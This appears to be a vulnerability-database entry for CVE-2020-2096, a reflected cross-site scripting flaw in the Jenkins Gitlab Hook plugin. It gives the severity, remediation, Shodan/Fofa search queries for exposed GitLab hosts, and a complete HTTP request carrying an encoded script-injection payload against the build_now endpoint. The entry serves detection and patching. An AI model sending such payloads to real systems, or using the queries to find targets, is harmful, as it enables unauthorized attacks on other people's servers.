🔙 목록으로 돌아가기

CVE-2020-2096: Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting

TitleJenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting
Authormadrobot
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
RemediationUpgrade to the latest version of Jenkins Gitlab Hook plugin (>=1.4.3) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.93762
CVE IDCVE-2020-2096
CWE IDCWE-79
Shodan Queryhttp.title:"GitLab"http.title:"gitlab"
Fofa Querytitle="gitlab"
Tags cve2020 cve jenkins xss gitlab plugin packetstorm vkev vuln

🔍 Vulnerability Description

Jenkins Gitlab Hook 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected cross-site scripting vulnerability.

🌐 HTTP Request

GET /gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-2096.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-2096.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A